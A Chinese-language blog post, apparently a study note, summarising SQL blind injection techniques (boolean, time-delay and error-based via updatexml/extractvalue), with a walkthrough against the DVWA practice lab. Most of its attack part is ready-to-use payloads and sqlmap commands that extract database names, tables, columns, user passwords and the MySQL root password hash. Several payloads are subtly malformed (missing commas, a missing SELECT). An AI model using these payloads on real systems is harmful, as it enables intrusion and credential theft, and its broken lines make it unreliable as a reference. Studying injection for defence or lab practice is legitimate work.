sql注入之盲注总结

死在山野的风里,活在自由的梦里


盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注。我们可以知道盲注分为以下三类:

布尔 - 逻辑判断

用于页面中不会显示数据库信息,只显示对与错的内容

比如输入“1”,提示“存在用户”,不能使用联合注入,要用burp的重放器

1.获取数据库名

id=1'and if(length(database())>1,1,0)--+

把database())>1改成database())>4,发现返回错误,就可以确定数据库名字长度为4

id=1'and if(substring(database(),1,1)='a',1,0)--+

database(),1,1)=‘a’,1,0) 改成 database(),&1&,1)=‘&a&’,1,0) 得到库名

2.获取表名

id=1'and if(substring((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1)1,1)='a',1,0--+

limit 1)1,1)=‘a’,1,0–+ 改成 limit 1)&1&,1)=‘&a&’,1,0–+ 得到第一个表

limit 1)&1&,1)=‘&a&’,1,0–+ 改成 limit 1,1)&1&,1)=‘&a&’,1,0–+ 得到第二个表

3.获取表的内容

id=1'and if(substring((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='users' and TABLE_SCHEMA=database() limit 0,1)1,1)='a',1,0--+

limit 0,1)1,1)=‘a’,1,0–+ 改成 limit 0,1)&1&,1)=‘&a&’,1,0–+ 得到第一个列

limit 0,1)&1&,1)=‘&a&’,1,0–+ 改成 limit 1,1)&1&,1)=‘&a&’,1,0–+ 得到第二个列

4.获取账号密码

id=1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit 0,1)1,1)='a',1,0--+

limit 0,1)1,1)=‘a’,1,0 改成 limit 0,1)&1&,1)=‘&a&’,1,0 得到账号密码

时间 - 延时判断

用Windows OS' and 1=1#     Windows OS' and 1=2#     页面都正常
用  Windows OS' and sleep(2)#                   页面延迟2s返回 

注入时,需要用命令,不要用软件,软件太慢

test.txt是在注入登录成功的同时用burp得到的数据包

//查数据库名
sqlmap -r test.txt --current -db   

在这里插入图片描述

//查数据库clover里面的表
sqlmap -r test.txt -D 'clover' -tables

在这里插入图片描述

//查数据库clover里面的表users的内容
sqlmap -r test.txt -D 'clover' -T 'users' -columns

在这里插入图片描述

//查看username和password的信息
sqlmap -r test.txt -D 'clover' -T 'users' -C 'username,password'dump

在这里插入图片描述

报错 - 报错回显(强制性报错 )

原理是利用两个函数,第二个参数如果不是xpath格式,是sql语句就会报错

updatexml():从目标XML中更改包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_string(Xpath格式字符串)

第三个参数:new_value,String格式,替换查找到的符合条件的数据

updatexml(XML_document,XPath_String,new_value);
'or updatexml(1,concat(0x7e,database()),0)or'

extractvalue():从目标XML中返回包含所查询值的字符串

第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC

第二个参数:XPath_String (Xpath格式字符串,Xpath是一种查找语法)

extractvalue(XML_document,XPath_String)
' or extractvalue(1,concat(0x7e,database())) or'
' union select 1,extractvalue(1,concat(0x7e,(select version())))%23

以DWVA靶场为例

1.获取数据库名

id=1'and info()--+

页面显示“FUNCTION dvwa.info 不存在”,数据库名字是dvwa

2.查看当前用户

id=1'and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

页面显示“ XPATH 语法错误:‘root@localhost’ “,当前用户为root

3.获取当前账号的密码

id=1' and (authentication_string from mysql.user limit 1)--+
id=1' and (updatexml(1,concat(0x7e,(select(select authentication_string from mysql.user limit 1)),0x7e),1))--+

用authentication只能查前32个字母

页面显示 " XPATH 语法错误:‘~*6BB4837EB74329105EE4568DDA7DC6’ "

id=1'and (updatexml(1,concat(0x7e,(select(substring((select
authentication_string from mysql.user limit 1),32,40))),0x7e),1))--+

页面显示 " XPATH 语法错误:‘7ED2CA2AD9’ ",得到后半部分的密码

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小阿宁的猫猫

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值